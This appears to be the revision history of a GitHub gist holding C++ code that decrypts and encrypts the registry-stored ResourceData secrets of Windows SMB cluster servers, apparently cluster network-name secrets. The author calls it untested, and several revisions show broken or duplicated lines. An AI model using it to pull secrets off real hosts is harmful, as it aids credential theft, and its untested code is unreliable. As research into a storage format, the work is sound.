    auto embeddedIvSize{ reinterpret_cast<DWORD*>(data.data()) };
    auto embeddedSecretSize{ reinterpret_cast<DWORD*>(data.data()) + 1 };
    auto embeddedIv{ data.data() + headerSize };
    @@ -222,18 +222,39 @@ BCRYPT_ALG_HANDLE CryptProvider::OpenAlgorithm(const std::wstring& algId) {
    return hAlgorithm;
    }

    void OutputHex(PUCHAR source, size_t length) {
    for (size_t index{ 0 }; index < length; index++) {
    std::cout << std::hex << std::setfill('0') << std::setw(2) << int(source[index]);
    }
    }

    void main() {
    std::wstring cngProvider{ L"NAME" };
    std::wstring cngProvider{ L"Microsoft Enhanced Cryptographic Provider v1.0" };
    DWORD dwProvType{ PROV_RSA_FULL }; // Any value here is likely fine
    std::wstring keyContainer{ L"NAME" };
    std::wstring keyContainer{ L"NAME" }; // Will be in the format "GUID-Netname Resource Data"
    CryptProvider cryptoProvider(cngProvider, dwProvType, keyContainer, 0);

    std::vector<UCHAR> resourceData;
    std::vector<UCHAR> resourceData; // Ex: { 16, 0, 0, 0, 0, 1, 0, 0, ... }
    cryptoProvider.Decrypt(resourceData);

    const auto headerSize{ sizeof(DWORD) * 3 };
    const auto headerSize{ sizeof(DWORD) * 2 };
    auto embeddedIvSize{ reinterpret_cast<DWORD*>(resourceData.data()) };
    auto embeddedSecretSize{ reinterpret_cast<DWORD*>(resourceData.data()) + 1 };

    const auto headerSize{ sizeof(DWORD) * 2 };
    auto embeddedIvSize{ reinterpret_cast<DWORD*>(resourceData.data()) };
    auto embeddedSecretSize{ reinterpret_cast<DWORD*>(resourceData.data()) + 1 };

    auto plaintext{ resourceData.data() + headerSize + *embeddedIvSize + *embeddedSecretSize };

    // Display the decrypted WCHAR[]
    auto valueLength{ (*reinterpret_cast<DWORD*>(plaintext)) * sizeof(WCHAR) };
    std::cout << "Decrypted value (" << valueLength << "): ";
    OutputHex(plaintext + sizeof(DWORD), valueLength);

    // Display the full plaintext
    auto plaintextLength{ resourceData.size() - headerSize - *embeddedIvSize - *embeddedSecretSize };
    std::cout << std::endl << "Full plaintext (" << plaintextLength << "): ";
    OutputHex(plaintext + sizeof(DWORD) + valueLength, plaintextLength);
    std::cout << std::endl;
    }
  4. EvanMcBroom revised this gist Dec 6, 2024. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions smb_cluster_cryptprovider.cpp
    Original file line number Diff line number Diff line change
    @@ -2,8 +2,8 @@
    //
    // The code may be used to encrypt or decrypt the ResourceData
    // content which SMB cluster servers store in the registry. The
    // code has not been tested but they should be
    // close enough to get this working.
    // code has not been tested but should be close enough to get
    // working.
    //
    // The current format of ResourceData is as follows:
    // PREFEX (4 bytes): Believed to be the data format version.
  5. EvanMcBroom revised this gist Dec 6, 2024. 1 changed file with 15 additions and 2 deletions.
    17 changes: 15 additions & 2 deletions smb_cluster_cryptprovider.cpp
    Original file line number Diff line number Diff line change
    @@ -2,10 +2,23 @@
    //
    // The code may be used to encrypt or decrypt the ResourceData
    // content which SMB cluster servers store in the registry. The
    // code has not been tested and the byte offsets for data within
    // a ResourceData blob may be slightly off, but they should be
    // code has not been tested but they should be
    // close enough to get this working.
    //
    // The current format of ResourceData is as follows:
    // PREFEX (4 bytes): Believed to be the data format version.
    // HEADER {
    // BUFFER_IV_SIZE (4 bytes)
    // BUFFER_KEY_SIZE (4 bytes)
    // }
    // BUFFER_IV
    // BUFFER_KEY
    // BUFFER_DATA
    //
    // At the time of writing, the value of PREFIX is stored as 2.
    // The PREFIX value should be stripped before encrypting and
    // decrypting any ResourceData content.
    //
    #include <windows.h>

    #include <bcrypt.h>
  6. EvanMcBroom revised this gist Dec 6, 2024. 1 changed file with 2 additions and 3 deletions.
    5 changes: 2 additions & 3 deletions smb_cluster_cryptprovider.cpp
    Original file line number Diff line number Diff line change
    @@ -123,10 +123,9 @@ void CryptProvider::Decrypt(std::vector<UCHAR>& data) {
    const auto headerSize{ sizeof(DWORD) * 3 };
    auto embeddedIvSize{ reinterpret_cast<DWORD*>(data.data()) };
    auto embeddedSecretSize{ reinterpret_cast<DWORD*>(data.data()) + 1 };
    auto embeddedCiphertextSize{ reinterpret_cast<DWORD*>(data.data()) + 2 };
    auto embeddedIv{ reinterpret_cast<PUCHAR>(reinterpret_cast<DWORD*>(data.data()) + 3) };
    auto embeddedIv{ data.data() + headerSize };
    auto embeddedSecret{ embeddedIv + *embeddedIvSize };
    auto embeddedCiphertext{ embeddedIv + *embeddedSecretSize };
    auto embeddedCiphertext{ embeddedSecret + *embeddedSecretSize };
    DWORD size{ *embeddedSecretSize };
    // Decrypt the embedded secret in-place
    if (CryptDecrypt(_exchangeKey, NULL, TRUE, 0, embeddedSecret, &size)) {
  7. EvanMcBroom revised this gist Dec 6, 2024. 1 changed file with 176 additions and 176 deletions.
    352 changes: 176 additions & 176 deletions smb_cluster_cryptprovider.cpp
    Original file line number Diff line number Diff line change
    @@ -17,211 +17,211 @@

    class CryptProvider {
    public:
    CryptProvider(const std::wstring& provider, DWORD dwProvType, const std::wstring& container, DWORD dwFlags);
    virtual ~CryptProvider();
    void Encrypt(const std::vector<UCHAR>& plaintext, std::vector<UCHAR>& resourceData) {
    this->Encrypt((const PUCHAR)(plaintext.data()), plaintext.size(), resourceData);
    }
    void Encrypt(const PUCHAR pPlaintext, SIZE_T cbPlaintext, std::vector<UCHAR>& resourceData);
    void Decrypt(std::vector<UCHAR>&);
    CryptProvider(const std::wstring& provider, DWORD dwProvType, const std::wstring& container, DWORD dwFlags);
    virtual ~CryptProvider();
    void Encrypt(const std::vector<UCHAR>& plaintext, std::vector<UCHAR>& resourceData) {
    this->Encrypt((const PUCHAR)(plaintext.data()), plaintext.size(), resourceData);
    }
    void Encrypt(const PUCHAR pPlaintext, SIZE_T cbPlaintext, std::vector<UCHAR>& resourceData);
    void Decrypt(std::vector<UCHAR>&);

    private:
    std::wstring _keyName;
    HCRYPTPROV _cryptProvider{ HCRYPTPROV(INVALID_HANDLE_VALUE) };
    HCRYPTKEY _exchangeKey{ HCRYPTKEY(INVALID_HANDLE_VALUE) };
    BCRYPT_ALG_HANDLE _algoProvider{ INVALID_HANDLE_VALUE };
    std::wstring _keyName;
    HCRYPTPROV _cryptProvider{ HCRYPTPROV(INVALID_HANDLE_VALUE) };
    HCRYPTKEY _exchangeKey{ HCRYPTKEY(INVALID_HANDLE_VALUE) };
    BCRYPT_ALG_HANDLE _algoProvider{ INVALID_HANDLE_VALUE };

    CryptProvider(const CryptProvider&) = default;
    CryptProvider& operator=(const CryptProvider&) = default;
    CryptProvider(const CryptProvider&) = default;
    CryptProvider& operator=(const CryptProvider&) = default;

    void EncryptData(PDWORD pdwSize, PUCHAR pData, SIZE_T cbData);
    void GenerateCryptKey(BCRYPT_KEY_HANDLE& key, std::vector<UCHAR>& secret, std::vector<UCHAR>& iv);
    BCRYPT_ALG_HANDLE OpenAlgorithm(const std::wstring& algId);
    void EncryptData(PDWORD pdwSize, PUCHAR pData, SIZE_T cbData);
    void GenerateCryptKey(BCRYPT_KEY_HANDLE& key, std::vector<UCHAR>& secret, std::vector<UCHAR>& iv);
    BCRYPT_ALG_HANDLE OpenAlgorithm(const std::wstring& algId);
    };

    CryptProvider::CryptProvider(const std::wstring& provider, DWORD dwProvType, const std::wstring& container, ULONG dwFlags) {
    (void)dwFlags; // Unused=
    auto succeeded{ CryptAcquireContextW(&_cryptProvider, container.c_str(), provider.c_str(), dwProvType, CRYPT_MACHINE_KEYSET | CRYPT_SILENT | CRYPT_NEWKEYSET) };
    if (!succeeded) {
    if (GetLastError() != NTE_EXISTS || !CryptAcquireContextW(&_cryptProvider, container.c_str(), provider.c_str(), dwProvType, CRYPT_MACHINE_KEYSET | CRYPT_SILENT)) {
    throw GetLastError();
    }

    }
    _algoProvider = OpenAlgorithm(L"AES");
    (void)dwFlags; // Unused=
    auto succeeded{ CryptAcquireContextW(&_cryptProvider, container.c_str(), provider.c_str(), dwProvType, CRYPT_MACHINE_KEYSET | CRYPT_SILENT | CRYPT_NEWKEYSET) };
    if (!succeeded) {
    if (GetLastError() != NTE_EXISTS || !CryptAcquireContextW(&_cryptProvider, container.c_str(), provider.c_str(), dwProvType, CRYPT_MACHINE_KEYSET | CRYPT_SILENT)) {
    throw GetLastError();
    }

    }
    _algoProvider = OpenAlgorithm(L"AES");
    }

    CryptProvider::~CryptProvider() {
    if (HANDLE(_algoProvider) != INVALID_HANDLE_VALUE) {
    BCryptCloseAlgorithmProvider(_algoProvider, 0);
    }
    if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) {
    CryptDestroyKey(_exchangeKey);
    }
    if (HANDLE(_cryptProvider) != INVALID_HANDLE_VALUE) {
    CryptReleaseContext(_cryptProvider, 0);
    }
    if (HANDLE(_algoProvider) != INVALID_HANDLE_VALUE) {
    BCryptCloseAlgorithmProvider(_algoProvider, 0);
    }
    if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) {
    CryptDestroyKey(_exchangeKey);
    }
    if (HANDLE(_cryptProvider) != INVALID_HANDLE_VALUE) {
    CryptReleaseContext(_cryptProvider, 0);
    }
    }

    void CryptProvider::Encrypt(const PUCHAR pPlaintext, SIZE_T cbPlaintext, std::vector<UCHAR>& resourceData) {
    // Get a key, iv, and secret to use when encrypting the plaintext
    resourceData.resize(sizeof(DWORD) * 2);
    BCRYPT_KEY_HANDLE key;
    std::vector<UCHAR> secret;
    std::vector<UCHAR> iv;
    GenerateCryptKey(key, secret, iv);

    // Store the size of the iv and secret in the output data
    auto embeddedIvSize = [](std::vector<UCHAR>& resourceData) {
    return reinterpret_cast<DWORD*>(resourceData.data());
    };
    auto embeddedSecretSize = [](std::vector<UCHAR>& resourceData) {
    return reinterpret_cast<DWORD*>(resourceData.data()) + 1;
    };
    *embeddedIvSize(resourceData) = iv.size();
    *embeddedSecretSize(resourceData) = secret.size();

    // Get the size of the encrypted secret and ciphertext
    // Use those values to resize the output data to be able to store them
    auto cbEncryptedSecret{ DWORD(secret.size()) };
    EncryptData(&cbEncryptedSecret, nullptr, 0);
    ULONG cbCiphertext;
    auto status{ BCryptEncrypt(key, pPlaintext, ULONG(cbPlaintext), nullptr, nullptr, 0, nullptr, 0, &cbCiphertext, BCRYPT_BLOCK_PADDING) };
    if (status != STATUS_SUCCESS) {
    throw status;
    }
    resourceData.resize(resourceData.size() + iv.size() + cbEncryptedSecret + cbCiphertext);

    // Embed the iv and unencrypted secret
    auto embeddedIv{ reinterpret_cast<PUCHAR>(reinterpret_cast<DWORD*>(resourceData.data()) + 2) };
    if (iv.size()) {
    std::memcpy(embeddedIv, iv.data(), iv.size());
    }
    auto embeddedSecret{ embeddedIv + iv.size() };
    if (secret.size()) {
    std::memcpy(embeddedSecret, secret.data(), secret.size());
    }

    // Encrypt the embedded secret in-place
    EncryptData(embeddedSecretSize(resourceData), embeddedSecret, cbEncryptedSecret);

    // Encrypt the plaintext and store its ciphertext in the output data
    status = BCryptEncrypt(key, pPlaintext, ULONG(cbPlaintext), nullptr, iv.data(), iv.size(), embeddedSecret + *embeddedSecretSize(resourceData), cbCiphertext, &cbCiphertext, BCRYPT_BLOCK_PADDING);
    if (status != STATUS_SUCCESS) {
    throw status;
    }
    // Get a key, iv, and secret to use when encrypting the plaintext
    resourceData.resize(sizeof(DWORD) * 2);
    BCRYPT_KEY_HANDLE key;
    std::vector<UCHAR> secret;
    std::vector<UCHAR> iv;
    GenerateCryptKey(key, secret, iv);

    // Store the size of the iv and secret in the output data
    auto embeddedIvSize = [](std::vector<UCHAR>& resourceData) {
    return reinterpret_cast<DWORD*>(resourceData.data());
    };
    auto embeddedSecretSize = [](std::vector<UCHAR>& resourceData) {
    return reinterpret_cast<DWORD*>(resourceData.data()) + 1;
    };
    *embeddedIvSize(resourceData) = iv.size();
    *embeddedSecretSize(resourceData) = secret.size();

    // Get the size of the encrypted secret and ciphertext
    // Use those values to resize the output data to be able to store them
    auto cbEncryptedSecret{ DWORD(secret.size()) };
    EncryptData(&cbEncryptedSecret, nullptr, 0);
    ULONG cbCiphertext;
    auto status{ BCryptEncrypt(key, pPlaintext, ULONG(cbPlaintext), nullptr, nullptr, 0, nullptr, 0, &cbCiphertext, BCRYPT_BLOCK_PADDING) };
    if (status != STATUS_SUCCESS) {
    throw status;
    }
    resourceData.resize(resourceData.size() + iv.size() + cbEncryptedSecret + cbCiphertext);

    // Embed the iv and unencrypted secret
    auto embeddedIv{ reinterpret_cast<PUCHAR>(reinterpret_cast<DWORD*>(resourceData.data()) + 2) };
    if (iv.size()) {
    std::memcpy(embeddedIv, iv.data(), iv.size());
    }
    auto embeddedSecret{ embeddedIv + iv.size() };
    if (secret.size()) {
    std::memcpy(embeddedSecret, secret.data(), secret.size());
    }

    // Encrypt the embedded secret in-place
    EncryptData(embeddedSecretSize(resourceData), embeddedSecret, cbEncryptedSecret);

    // Encrypt the plaintext and store its ciphertext in the output data
    status = BCryptEncrypt(key, pPlaintext, ULONG(cbPlaintext), nullptr, iv.data(), iv.size(), embeddedSecret + *embeddedSecretSize(resourceData), cbCiphertext, &cbCiphertext, BCRYPT_BLOCK_PADDING);
    if (status != STATUS_SUCCESS) {
    throw status;
    }
    }

    void CryptProvider::Decrypt(std::vector<UCHAR>& data) {
    DWORD error{ 0 };
    // Get the key stored in the CNG container that was used to encrypt the embedded secret
    if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) {
    CryptDestroyKey(_exchangeKey);
    }
    if (CryptGetUserKey(_cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) {
    // Pointers to each component of the resource data
    const auto headerSize{ sizeof(DWORD) * 3 };
    auto embeddedIvSize{ reinterpret_cast<DWORD*>(data.data()) };
    auto embeddedSecretSize{ reinterpret_cast<DWORD*>(data.data()) + 1 };
    auto embeddedCiphertextSize{ reinterpret_cast<DWORD*>(data.data()) + 2 };
    auto embeddedIv{ reinterpret_cast<PUCHAR>(reinterpret_cast<DWORD*>(data.data()) + 3) };
    auto embeddedSecret{ embeddedIv + *embeddedIvSize };
    auto embeddedCiphertext{ embeddedIv + *embeddedSecretSize };
    DWORD size{ *embeddedSecretSize };
    // Decrypt the embedded secret in-place
    if (CryptDecrypt(_exchangeKey, NULL, TRUE, 0, embeddedSecret, &size)) {
    BCRYPT_KEY_HANDLE cryptKey;
    // Generate a new key from the decrypted embedded secret
    auto status{ BCryptGenerateSymmetricKey(_algoProvider, &cryptKey, NULL, 0, embeddedSecret, size, 0) };
    if (status == STATUS_SUCCESS) {
    auto cbCiphertext{ (ULONG)(data.size() - headerSize - *embeddedIvSize - *embeddedSecretSize) };
    status = BCryptDecrypt(cryptKey, embeddedCiphertext, cbCiphertext, nullptr, embeddedIv, *embeddedIvSize, embeddedCiphertext, cbCiphertext, &size, BCRYPT_BLOCK_PADDING);
    if (status != STATUS_SUCCESS) {
    status = status;
    }
    }
    else {
    error = status;
    }
    }
    else {
    error = GetLastError();
    }
    }
    else {
    error = GetLastError();
    }
    if (error) {
    throw error;
    }
    DWORD error{ 0 };
    // Get the key stored in the CNG container that was used to encrypt the embedded secret
    if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) {
    CryptDestroyKey(_exchangeKey);
    }
    if (CryptGetUserKey(_cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) {
    // Pointers to each component of the resource data
    const auto headerSize{ sizeof(DWORD) * 3 };
    auto embeddedIvSize{ reinterpret_cast<DWORD*>(data.data()) };
    auto embeddedSecretSize{ reinterpret_cast<DWORD*>(data.data()) + 1 };
    auto embeddedCiphertextSize{ reinterpret_cast<DWORD*>(data.data()) + 2 };
    auto embeddedIv{ reinterpret_cast<PUCHAR>(reinterpret_cast<DWORD*>(data.data()) + 3) };
    auto embeddedSecret{ embeddedIv + *embeddedIvSize };
    auto embeddedCiphertext{ embeddedIv + *embeddedSecretSize };
    DWORD size{ *embeddedSecretSize };
    // Decrypt the embedded secret in-place
    if (CryptDecrypt(_exchangeKey, NULL, TRUE, 0, embeddedSecret, &size)) {
    BCRYPT_KEY_HANDLE cryptKey;
    // Generate a new key from the decrypted embedded secret
    auto status{ BCryptGenerateSymmetricKey(_algoProvider, &cryptKey, NULL, 0, embeddedSecret, size, 0) };
    if (status == STATUS_SUCCESS) {
    auto cbCiphertext{ (ULONG)(data.size() - headerSize - *embeddedIvSize - *embeddedSecretSize) };
    status = BCryptDecrypt(cryptKey, embeddedCiphertext, cbCiphertext, nullptr, embeddedIv, *embeddedIvSize, embeddedCiphertext, cbCiphertext, &size, BCRYPT_BLOCK_PADDING);
    if (status != STATUS_SUCCESS) {
    status = status;
    }
    }
    else {
    error = status;
    }
    }
    else {
    error = GetLastError();
    }
    }
    else {
    error = GetLastError();
    }
    if (error) {
    throw error;
    }
    }

    void CryptProvider::EncryptData(PDWORD pdwSize, PUCHAR pData, SIZE_T cbData) {
    auto error{ CryptEncrypt(_exchangeKey, NULL, TRUE, 0, pData, pdwSize, pData ? static_cast<DWORD>(cbData) : 0) ? ERROR_SUCCESS : GetLastError() };
    if (error != ERROR_SUCCESS) {
    throw error;
    }
    auto error{ CryptEncrypt(_exchangeKey, NULL, TRUE, 0, pData, pdwSize, pData ? static_cast<DWORD>(cbData) : 0) ? ERROR_SUCCESS : GetLastError() };
    if (error != ERROR_SUCCESS) {
    throw error;
    }
    }

    void CryptProvider::GenerateCryptKey(BCRYPT_KEY_HANDLE& key, std::vector<UCHAR>& secret, std::vector<UCHAR>& iv) {
    DWORD error{ 0 };
    auto algorithm{ OpenAlgorithm(L"RNG") };
    if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) {
    CryptDestroyKey(_exchangeKey);
    }
    if (CryptGetUserKey(_cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) {
    DWORD blockLength;
    ULONG cbResult;
    auto status{ BCryptGetProperty(_algoProvider, BCRYPT_BLOCK_LENGTH, reinterpret_cast<PUCHAR>(&blockLength), sizeof(blockLength), &cbResult, 0) };
    if (status == STATUS_SUCCESS) {
    status = BCryptGenRandom(algorithm, iv.data(), iv.size(), 0);
    if (status == STATUS_SUCCESS) {
    if (HANDLE(key) != INVALID_HANDLE_VALUE) {
    BCryptDestroyKey(key);
    }
    status = BCryptGenerateSymmetricKey(_algoProvider, &key, nullptr, 0, secret.data(), secret.size(), 0);
    if (status != STATUS_SUCCESS) {
    error = status;
    }
    }
    else {
    error = status;
    }
    }
    else {
    error = status;
    }
    }
    else {
    error = GetLastError();
    }
    BCryptCloseAlgorithmProvider(algorithm, 0);
    if (error) {
    throw error;
    }
    DWORD error{ 0 };
    auto algorithm{ OpenAlgorithm(L"RNG") };
    if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) {
    CryptDestroyKey(_exchangeKey);
    }
    if (CryptGetUserKey(_cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) {
    DWORD blockLength;
    ULONG cbResult;
    auto status{ BCryptGetProperty(_algoProvider, BCRYPT_BLOCK_LENGTH, reinterpret_cast<PUCHAR>(&blockLength), sizeof(blockLength), &cbResult, 0) };
    if (status == STATUS_SUCCESS) {
    status = BCryptGenRandom(algorithm, iv.data(), iv.size(), 0);
    if (status == STATUS_SUCCESS) {
    if (HANDLE(key) != INVALID_HANDLE_VALUE) {
    BCryptDestroyKey(key);
    }
    status = BCryptGenerateSymmetricKey(_algoProvider, &key, nullptr, 0, secret.data(), secret.size(), 0);
    if (status != STATUS_SUCCESS) {
    error = status;
    }
    }
    else {
    error = status;
    }
    }
    else {
    error = status;
    }
    }
    else {
    error = GetLastError();
    }
    BCryptCloseAlgorithmProvider(algorithm, 0);
    if (error) {
    throw error;
    }
    }

    BCRYPT_ALG_HANDLE CryptProvider::OpenAlgorithm(const std::wstring& algId) {
    BCRYPT_ALG_HANDLE hAlgorithm;
    auto error{ BCryptOpenAlgorithmProvider(&hAlgorithm, algId.c_str(), L"Microsoft Primitive Provider", 0) };
    if (error != STATUS_SUCCESS) {
    throw error;
    }
    return hAlgorithm;
    BCRYPT_ALG_HANDLE hAlgorithm;
    auto error{ BCryptOpenAlgorithmProvider(&hAlgorithm, algId.c_str(), L"Microsoft Primitive Provider", 0) };
    if (error != STATUS_SUCCESS) {
    throw error;
    }
    return hAlgorithm;
    }

    void main() {
    std::wstring cngProvider{ L"NAME" };
    DWORD dwProvType{ PROV_RSA_FULL }; // Any value here is likely fine
    std::wstring keyContainer{ L"NAME" };
    CryptProvider cryptoProvider(cngProvider, dwProvType, keyContainer, 0);
    std::wstring cngProvider{ L"NAME" };
    DWORD dwProvType{ PROV_RSA_FULL }; // Any value here is likely fine
    std::wstring keyContainer{ L"NAME" };
    CryptProvider cryptoProvider(cngProvider, dwProvType, keyContainer, 0);

    std::vector<UCHAR> resourceData;
    cryptoProvider.Decrypt(resourceData);
    std::vector<UCHAR> resourceData;
    cryptoProvider.Decrypt(resourceData);

    const auto headerSize{ sizeof(DWORD) * 3 };
    auto embeddedIvSize{ reinterpret_cast<DWORD*>(resourceData.data()) };
    auto embeddedSecretSize{ reinterpret_cast<DWORD*>(resourceData.data()) + 1 };
    const auto headerSize{ sizeof(DWORD) * 3 };
    auto embeddedIvSize{ reinterpret_cast<DWORD*>(resourceData.data()) };
    auto embeddedSecretSize{ reinterpret_cast<DWORD*>(resourceData.data()) + 1 };

    auto plaintext{ resourceData.data() + headerSize + *embeddedIvSize + *embeddedSecretSize };
    auto plaintext{ resourceData.data() + headerSize + *embeddedIvSize + *embeddedSecretSize };
    }
  8. EvanMcBroom revised this gist Dec 6, 2024. 1 changed file with 6 additions and 6 deletions.
    12 changes: 6 additions & 6 deletions smb_cluster_cryptprovider.cpp
    Original file line number Diff line number Diff line change
    @@ -17,12 +17,12 @@

    class CryptProvider {
    public:
    CryptProvider(const std::wstring& provider, DWORD dwProvType, const std::wstring& container, DWORD dwFlags); // x
    virtual ~CryptProvider(); // x
    CryptProvider(const std::wstring& provider, DWORD dwProvType, const std::wstring& container, DWORD dwFlags);
    virtual ~CryptProvider();
    void Encrypt(const std::vector<UCHAR>& plaintext, std::vector<UCHAR>& resourceData) {
    this->Encrypt((const PUCHAR)(plaintext.data()), plaintext.size(), resourceData);
    }
    void Encrypt(const PUCHAR pPlaintext, SIZE_T cbPlaintext, std::vector<UCHAR>& resourceData); // x
    void Encrypt(const PUCHAR pPlaintext, SIZE_T cbPlaintext, std::vector<UCHAR>& resourceData);
    void Decrypt(std::vector<UCHAR>&);

    private:
    @@ -34,9 +34,9 @@ class CryptProvider {
    CryptProvider(const CryptProvider&) = default;
    CryptProvider& operator=(const CryptProvider&) = default;

    void EncryptData(PDWORD pdwSize, PUCHAR pData, SIZE_T cbData); // x
    void GenerateCryptKey(BCRYPT_KEY_HANDLE& key, std::vector<UCHAR>& secret, std::vector<UCHAR>& iv); // x
    BCRYPT_ALG_HANDLE OpenAlgorithm(const std::wstring& algId); // x
    void EncryptData(PDWORD pdwSize, PUCHAR pData, SIZE_T cbData);
    void GenerateCryptKey(BCRYPT_KEY_HANDLE& key, std::vector<UCHAR>& secret, std::vector<UCHAR>& iv);
    BCRYPT_ALG_HANDLE OpenAlgorithm(const std::wstring& algId);
    };

    CryptProvider::CryptProvider(const std::wstring& provider, DWORD dwProvType, const std::wstring& container, ULONG dwFlags) {
  9. EvanMcBroom created this gist Dec 6, 2024.
    227 changes: 227 additions & 0 deletions smb_cluster_cryptprovider.cpp
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,227 @@
    // Copyright (C) 2024 Evan McBroom
    //
    // The code may be used to encrypt or decrypt the ResourceData
    // content which SMB cluster servers store in the registry. The
    // code has not been tested and the byte offsets for data within
    // a ResourceData blob may be slightly off, but they should be
    // close enough to get this working.
    //
    #include <windows.h>

    #include <bcrypt.h>
    #include <ntstatus.h>
    #include <stdlib.h>
    #include <string>
    #include <vector>
    #include <wincrypt.h>

    class CryptProvider {
    public:
    CryptProvider(const std::wstring& provider, DWORD dwProvType, const std::wstring& container, DWORD dwFlags); // x
    virtual ~CryptProvider(); // x
    void Encrypt(const std::vector<UCHAR>& plaintext, std::vector<UCHAR>& resourceData) {
    this->Encrypt((const PUCHAR)(plaintext.data()), plaintext.size(), resourceData);
    }
    void Encrypt(const PUCHAR pPlaintext, SIZE_T cbPlaintext, std::vector<UCHAR>& resourceData); // x
    void Decrypt(std::vector<UCHAR>&);

    private:
    std::wstring _keyName;
    HCRYPTPROV _cryptProvider{ HCRYPTPROV(INVALID_HANDLE_VALUE) };
    HCRYPTKEY _exchangeKey{ HCRYPTKEY(INVALID_HANDLE_VALUE) };
    BCRYPT_ALG_HANDLE _algoProvider{ INVALID_HANDLE_VALUE };

    CryptProvider(const CryptProvider&) = default;
    CryptProvider& operator=(const CryptProvider&) = default;

    void EncryptData(PDWORD pdwSize, PUCHAR pData, SIZE_T cbData); // x
    void GenerateCryptKey(BCRYPT_KEY_HANDLE& key, std::vector<UCHAR>& secret, std::vector<UCHAR>& iv); // x
    BCRYPT_ALG_HANDLE OpenAlgorithm(const std::wstring& algId); // x
    };

    CryptProvider::CryptProvider(const std::wstring& provider, DWORD dwProvType, const std::wstring& container, ULONG dwFlags) {
    (void)dwFlags; // Unused=
    auto succeeded{ CryptAcquireContextW(&_cryptProvider, container.c_str(), provider.c_str(), dwProvType, CRYPT_MACHINE_KEYSET | CRYPT_SILENT | CRYPT_NEWKEYSET) };
    if (!succeeded) {
    if (GetLastError() != NTE_EXISTS || !CryptAcquireContextW(&_cryptProvider, container.c_str(), provider.c_str(), dwProvType, CRYPT_MACHINE_KEYSET | CRYPT_SILENT)) {
    throw GetLastError();
    }

    }
    _algoProvider = OpenAlgorithm(L"AES");
    }

    CryptProvider::~CryptProvider() {
    if (HANDLE(_algoProvider) != INVALID_HANDLE_VALUE) {
    BCryptCloseAlgorithmProvider(_algoProvider, 0);
    }
    if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) {
    CryptDestroyKey(_exchangeKey);
    }
    if (HANDLE(_cryptProvider) != INVALID_HANDLE_VALUE) {
    CryptReleaseContext(_cryptProvider, 0);
    }
    }

    void CryptProvider::Encrypt(const PUCHAR pPlaintext, SIZE_T cbPlaintext, std::vector<UCHAR>& resourceData) {
    // Get a key, iv, and secret to use when encrypting the plaintext
    resourceData.resize(sizeof(DWORD) * 2);
    BCRYPT_KEY_HANDLE key;
    std::vector<UCHAR> secret;
    std::vector<UCHAR> iv;
    GenerateCryptKey(key, secret, iv);

    // Store the size of the iv and secret in the output data
    auto embeddedIvSize = [](std::vector<UCHAR>& resourceData) {
    return reinterpret_cast<DWORD*>(resourceData.data());
    };
    auto embeddedSecretSize = [](std::vector<UCHAR>& resourceData) {
    return reinterpret_cast<DWORD*>(resourceData.data()) + 1;
    };
    *embeddedIvSize(resourceData) = iv.size();
    *embeddedSecretSize(resourceData) = secret.size();

    // Get the size of the encrypted secret and ciphertext
    // Use those values to resize the output data to be able to store them
    auto cbEncryptedSecret{ DWORD(secret.size()) };
    EncryptData(&cbEncryptedSecret, nullptr, 0);
    ULONG cbCiphertext;
    auto status{ BCryptEncrypt(key, pPlaintext, ULONG(cbPlaintext), nullptr, nullptr, 0, nullptr, 0, &cbCiphertext, BCRYPT_BLOCK_PADDING) };
    if (status != STATUS_SUCCESS) {
    throw status;
    }
    resourceData.resize(resourceData.size() + iv.size() + cbEncryptedSecret + cbCiphertext);

    // Embed the iv and unencrypted secret
    auto embeddedIv{ reinterpret_cast<PUCHAR>(reinterpret_cast<DWORD*>(resourceData.data()) + 2) };
    if (iv.size()) {
    std::memcpy(embeddedIv, iv.data(), iv.size());
    }
    auto embeddedSecret{ embeddedIv + iv.size() };
    if (secret.size()) {
    std::memcpy(embeddedSecret, secret.data(), secret.size());
    }

    // Encrypt the embedded secret in-place
    EncryptData(embeddedSecretSize(resourceData), embeddedSecret, cbEncryptedSecret);

    // Encrypt the plaintext and store its ciphertext in the output data
    status = BCryptEncrypt(key, pPlaintext, ULONG(cbPlaintext), nullptr, iv.data(), iv.size(), embeddedSecret + *embeddedSecretSize(resourceData), cbCiphertext, &cbCiphertext, BCRYPT_BLOCK_PADDING);
    if (status != STATUS_SUCCESS) {
    throw status;
    }
    }

    void CryptProvider::Decrypt(std::vector<UCHAR>& data) {
    DWORD error{ 0 };
    // Get the key stored in the CNG container that was used to encrypt the embedded secret
    if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) {
    CryptDestroyKey(_exchangeKey);
    }
    if (CryptGetUserKey(_cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) {
    // Pointers to each component of the resource data
    const auto headerSize{ sizeof(DWORD) * 3 };
    auto embeddedIvSize{ reinterpret_cast<DWORD*>(data.data()) };
    auto embeddedSecretSize{ reinterpret_cast<DWORD*>(data.data()) + 1 };
    auto embeddedCiphertextSize{ reinterpret_cast<DWORD*>(data.data()) + 2 };
    auto embeddedIv{ reinterpret_cast<PUCHAR>(reinterpret_cast<DWORD*>(data.data()) + 3) };
    auto embeddedSecret{ embeddedIv + *embeddedIvSize };
    auto embeddedCiphertext{ embeddedIv + *embeddedSecretSize };
    DWORD size{ *embeddedSecretSize };
    // Decrypt the embedded secret in-place
    if (CryptDecrypt(_exchangeKey, NULL, TRUE, 0, embeddedSecret, &size)) {
    BCRYPT_KEY_HANDLE cryptKey;
    // Generate a new key from the decrypted embedded secret
    auto status{ BCryptGenerateSymmetricKey(_algoProvider, &cryptKey, NULL, 0, embeddedSecret, size, 0) };
    if (status == STATUS_SUCCESS) {
    auto cbCiphertext{ (ULONG)(data.size() - headerSize - *embeddedIvSize - *embeddedSecretSize) };
